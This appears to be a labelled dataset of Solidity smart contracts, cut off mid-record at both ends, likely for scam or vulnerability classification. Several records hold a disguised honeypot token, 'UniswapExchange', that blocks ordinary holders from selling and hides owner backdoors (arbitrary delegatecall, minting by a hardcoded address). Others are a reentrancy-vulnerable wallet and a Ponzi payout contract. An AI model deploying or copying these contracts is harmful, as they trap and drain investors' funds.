return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,700 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public;
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Bounty0xEscrow is Ownable, ERC223ReceivingContract, Pausable {
using SafeMath for uint256;
mapping (address => mapping (address => uint)) public tokens;
event Deposit(address indexed token, address indexed user, uint amount, uint balance);
event Distribution(address indexed token, address indexed host, address indexed hunter, uint256 amount);
constructor() public {
}
function tokenFallback(address _from, uint _value, bytes _data) public whenNotPaused {
address _token = msg.sender;
tokens[_token][_from] = SafeMath.add(tokens[_token][_from], _value);
emit Deposit(_token, _from, _value, tokens[_token][_from]);
}
function depositToken(address _token, uint _amount) public whenNotPaused {
require(_token != address(0));
ERC20(_token).transferFrom(msg.sender, this, _amount);
tokens[_token][msg.sender] = SafeMath.add(tokens[_token][msg.sender], _amount);
emit Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]);
}
function depositEther() public payable whenNotPaused {
tokens[address(0)][msg.sender] = SafeMath.add(tokens[address(0)][msg.sender], msg.value);
emit Deposit(address(0), msg.sender, msg.value, tokens[address(0)][msg.sender]);
}
function distributeTokenToAddress(address _token, address _host, address _hunter, uint256 _amount) external onlyOwner {
require(_hunter != address(0));
require(tokens[_token][_host] >= _amount);
tokens[_token][_host] = SafeMath.sub(tokens[_token][_host], _amount);
if (_token == address(0)) {
require(_hunter.send(_amount));
} else {
require(ERC20(_token).transfer(_hunter, _amount));
}
emit Distribution(_token, _host, _hunter, _amount);
}
function distributeTokenToAddressesAndAmounts(address _token, address _host, address[] _hunters, uint256[] _amounts) external onlyOwner {
require(_host != address(0));
require(_hunters.length == _amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < _amounts.length; j++) {
totalAmount = SafeMath.add(totalAmount, _amounts[j]);
}
require(tokens[_token][_host] >= totalAmount);
tokens[_token][_host] = SafeMath.sub(tokens[_token][_host], totalAmount);
if (_token == address(0)) {
for (uint i = 0; i < _hunters.length; i++) {
require(_hunters[i].send(_amounts[i]));
emit Distribution(_token, _host, _hunters[i], _amounts[i]);
}
} else {
for (uint k = 0; k < _hunters.length; k++) {
require(ERC20(_token).transfer(_hunters[k], _amounts[k]));
emit Distribution(_token, _host, _hunters[k], _amounts[k]);
}
}
}
function distributeTokenToAddressesAndAmountsWithoutHost(address _token, address[] _hunters, uint256[] _amounts) external onlyOwner {
require(_hunters.length == _amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < _amounts.length; j++) {
totalAmount = SafeMath.add(totalAmount, _amounts[j]);
}
if (_token == address(0)) {
require(address(this).balance >= totalAmount);
for (uint i = 0; i < _hunters.length; i++) {
require(_hunters[i].send(_amounts[i]));
emit Distribution(_token, this, _hunters[i], _amounts[i]);
}
} else {
require(ERC20(_token).balanceOf(this) >= totalAmount);
for (uint k = 0; k < _hunters.length; k++) {
require(ERC20(_token).transfer(_hunters[k], _amounts[k]));
emit Distribution(_token, this, _hunters[k], _amounts[k]);
}
}
}
function distributeWithTransferFrom(address _token, address _ownerOfTokens, address[] _hunters, uint256[] _amounts) external onlyOwner {
require(_token != address(0));
require(_hunters.length == _amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < _amounts.length; j++) {
totalAmount = SafeMath.add(totalAmount, _amounts[j]);
}
require(ERC20(_token).allowance(_ownerOfTokens, this) >= totalAmount);
for (uint i = 0; i < _hunters.length; i++) {
ERC20(_token).transferFrom(_ownerOfTokens, _hunters[i], _amounts[i]);
emit Distribution(_token, this, _hunters[i], _amounts[i]);
}
}
function approveToPullOutTokens(address _token, address _receiver, uint256 _amount) external onlyOwner {
ERC20(_token).approve(_receiver, _amount);
}
} | 1 | 2,801 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint finneyCostOfEachToken,
address addressOfTokenUsedAsReward) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = finneyCostOfEachToken * 1 szabo;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf [msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount /price*10000000000000000);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal) {
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 2,794 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,609 |
pragma solidity ^0.4.23;
contract keepMyEther {
mapping(address => uint256) public balances;
function () payable public {
balances[msg.sender] += msg.value;
}
function withdraw() public {
msg.sender.call.value(balances[msg.sender])();
balances[msg.sender] = 0;
}
} | 0 | 2,115 |
pragma solidity ^0.4.25;
contract TopInvest125 {
address constant private PROMO = 0xfa2d2685C8965e92c848959278A7c96A3De88f3F;
uint constant public PROMO_PERCENT = 7;
uint constant public MULTIPLIER = 125;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 10 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*PROMO_PERCENT/100;
PROMO.send(promo);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 2,580 |
pragma solidity ^0.4.16;
contract IotWifitoken {
string public name = "IotWifitoken";
string public symbol = "ITWF";
uint8 public decimals = 18;
uint256 public totalSupply = 1000000000 * 10 ** uint256(decimals);
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function IotWifitoken() public {
balanceOf[msg.sender] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
} | 1 | 3,126 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
using SafeMath for uint;
enum RequestType {
None,
Owner,
CoOwner1,
CoOwner2
}
address public owner;
address coOwner1;
address coOwner2;
RequestType requestType;
address newOwnerRequest;
mapping(address => bool) voterList;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
coOwner1 = address(0x625789684cE563Fe1f8477E8B3c291855E3470dF);
coOwner2 = address(0xe80a08C003b0b601964b4c78Fb757506d2640055);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyCoOwner1() {
require(msg.sender == coOwner1);
_;
}
modifier onlyCoOwner2() {
require(msg.sender == coOwner2);
_;
}
function transferOwnership(address newOwner) public {
require(msg.sender == owner || msg.sender == coOwner1 || msg.sender == coOwner2);
require(newOwner != address(0));
if(msg.sender == owner) {
requestType = RequestType.Owner;
}
else if(msg.sender == coOwner1) {
requestType = RequestType.CoOwner1;
}
else if(msg.sender == coOwner2) {
requestType = RequestType.CoOwner2;
}
newOwnerRequest = newOwner;
voterList[msg.sender] = true;
}
function voteChangeOwner(bool isAgree) public {
require(msg.sender == owner || msg.sender == coOwner1 || msg.sender == coOwner2);
require(requestType != RequestType.None);
voterList[msg.sender] = isAgree;
checkVote();
}
function checkVote() private {
uint iYesCount = 0;
uint iNoCount = 0;
if(voterList[owner] == true) {
iYesCount = iYesCount.add(1);
}
else {
iNoCount = iNoCount.add(1);
}
if(voterList[coOwner1] == true) {
iYesCount = iYesCount.add(1);
}
else {
iNoCount = iNoCount.add(1);
}
if(voterList[coOwner2] == true) {
iYesCount = iYesCount.add(1);
}
else {
iNoCount = iNoCount.add(1);
}
if(iYesCount >= 2) {
emit OwnershipTransferred(owner, newOwnerRequest);
if(requestType == RequestType.Owner) {
owner = newOwnerRequest;
}
else if(requestType == RequestType.CoOwner1) {
coOwner1 = newOwnerRequest;
}
else if(requestType == RequestType.CoOwner2) {
coOwner2 = newOwnerRequest;
}
newOwnerRequest = address(0);
requestType = RequestType.None;
}
else if(iNoCount >= 2) {
newOwnerRequest = address(0);
requestType = RequestType.None;
}
}
}
contract Configurable {
uint256 constant cfgPercentDivider = 10000;
uint256 constant cfgPercentMaxReceive = 30000;
uint256 public cfgMinDepositRequired = 2 * 10**17;
uint256 public cfgMaxDepositRequired = 100*10**18;
uint256 public minReceiveCommission = 2 * 10**16;
uint256 public maxReceiveCommissionPercent = 15000;
uint256 public supportWaitingTime;
uint256 public supportPercent;
uint256 public receiveWaitingTime;
uint256 public receivePercent;
uint256 public systemFeePercent = 300;
address public systemFeeAddress;
uint256 public commissionFeePercent = 300;
address public commissionFeeAddress;
uint256 public tokenSupportPercent = 500;
address public tokenSupportAddress;
uint256 public directCommissionPercent = 1000;
}
contract EbcFund is Ownable, Configurable {
enum Stages {
Preparing,
Started,
Paused
}
enum GameStatus {
none,
processing,
completed
}
struct Player {
address parentAddress;
uint256 totalDeposited;
uint256 totalAmountInGame;
uint256 totalReceived;
uint256 totalCommissionReceived;
uint lastReceiveCommission;
bool isKyc;
uint256 directCommission;
}
struct Game {
address playerAddress;
uint256 depositAmount;
uint256 receiveAmount;
GameStatus status;
uint nextRoundTime;
uint256 nextRoundAmount;
}
Stages public currentStage;
address transporter;
event Logger(string _label, uint256 _note);
mapping(address => bool) public donateList;
mapping(address => Player) public playerList;
mapping(uint => Game) public gameList;
constructor() public {
systemFeeAddress = owner;
commissionFeeAddress = address(0x4c0037cd34804aB3EB6f54d6596A22A68b05c8CF);
tokenSupportAddress = address(0xC739c85ffE468fA7a6f2B8A005FF0eacAb4D5f0e);
supportWaitingTime = 20*86400;
supportPercent = 70;
receiveWaitingTime = 5*86400;
receivePercent = 10;
currentStage = Stages.Preparing;
donateList[owner] = true;
donateList[commissionFeeAddress] = true;
donateList[tokenSupportAddress] = true;
}
modifier onlyPreparing() {
require (currentStage == Stages.Preparing);
_;
}
modifier onlyStarted() {
require (currentStage == Stages.Started);
_;
}
modifier onlyPaused() {
require (currentStage == Stages.Paused);
_;
}
function () public payable {
require(currentStage == Stages.Started);
require(cfgMinDepositRequired <= msg.value && msg.value <= cfgMaxDepositRequired);
if(donateList[msg.sender] == false) {
if(transporter != address(0) && msg.sender == transporter) {
if(msg.data.length > 0) {
processDeposit(bytesToAddress(msg.data));
}
else {
emit Logger("Thank you for your contribution!.", msg.value);
}
}
else {
processDeposit(msg.sender);
}
}
else {
emit Logger("Thank you for your contribution!", msg.value);
}
}
function getTransporter() public view onlyOwner returns(address) {
return transporter;
}
function updateTransporter(address _address) public onlyOwner{
require (_address != address(0));
transporter = _address;
}
function updateDonator(address _address, bool _isDonator) public onlyOwner{
donateList[_address] = _isDonator;
}
function updateSystemAddress(address _address) public onlyOwner{
require(_address != address(0) && _address != systemFeeAddress);
systemFeeAddress = _address;
}
function updateSystemFeePercent(uint256 _percent) public onlyOwner{
require(0 < _percent && _percent != systemFeePercent && _percent <= 500);
systemFeePercent = _percent;
}
function updateCommissionAddress(address _address) public onlyOwner{
require(_address != address(0) && _address != commissionFeeAddress);
commissionFeeAddress = _address;
}
function updateCommissionFeePercent(uint256 _percent) public onlyOwner{
require(0 < _percent && _percent != commissionFeePercent && _percent <= 500);
commissionFeePercent = _percent;
}
function updateTokenSupportAddress(address _address) public onlyOwner{
require(_address != address(0) && _address != tokenSupportAddress);
tokenSupportAddress = _address;
}
function updateTokenSupportPercent(uint256 _percent) public onlyOwner{
require(0 < _percent && _percent != tokenSupportPercent && _percent <= 1000);
tokenSupportPercent = _percent;
}
function updateDirectCommissionPercent(uint256 _percent) public onlyOwner{
require(0 < _percent && _percent != directCommissionPercent && _percent <= 2000);
directCommissionPercent = _percent;
}
function updateMinDeposit(uint256 _amount) public onlyOwner{
require(0 < _amount && _amount < cfgMaxDepositRequired);
require(_amount != cfgMinDepositRequired);
cfgMinDepositRequired = _amount;
}
function updateMaxDeposit(uint256 _amount) public onlyOwner{
require(cfgMinDepositRequired < _amount && _amount != cfgMaxDepositRequired);
cfgMaxDepositRequired = _amount;
}
function updateMinReceiveCommission(uint256 _amount) public onlyOwner{
require(0 < _amount && _amount != minReceiveCommission);
minReceiveCommission = _amount;
}
function updateMaxReceiveCommissionPercent(uint256 _percent) public onlyOwner{
require(5000 <= _percent && _percent <= 20000);
maxReceiveCommissionPercent = _percent;
}
function updateSupportWaitingTime(uint256 _time) public onlyOwner{
require(86400 <= _time);
require(_time != supportWaitingTime);
supportWaitingTime = _time;
}
function updateSupportPercent(uint256 _percent) public onlyOwner{
require(0 < _percent && _percent < 1000);
require(_percent != supportPercent);
supportPercent = _percent;
}
function updateReceiveWaitingTime(uint256 _time) public onlyOwner{
require(86400 <= _time);
require(_time != receiveWaitingTime);
receiveWaitingTime = _time;
}
function updateRecivePercent(uint256 _percent) public onlyOwner{
require(0 < _percent && _percent < 1000);
require(_percent != receivePercent);
receivePercent = _percent;
}
function updatePlayerParent(address[] _address, address[] _parentAddress) public onlyOwner{
for(uint i = 0; i < _address.length; i++) {
require(_address[i] != address(0));
require(_parentAddress[i] != address(0));
require(_address[i] != _parentAddress[i]);
Player storage currentPlayer = playerList[_address[i]];
currentPlayer.parentAddress = _parentAddress[i];
if(0 < currentPlayer.directCommission && currentPlayer.directCommission < address(this).balance) {
uint256 comAmount = currentPlayer.directCommission;
currentPlayer.directCommission = 0;
emit Logger("Send direct commission", comAmount);
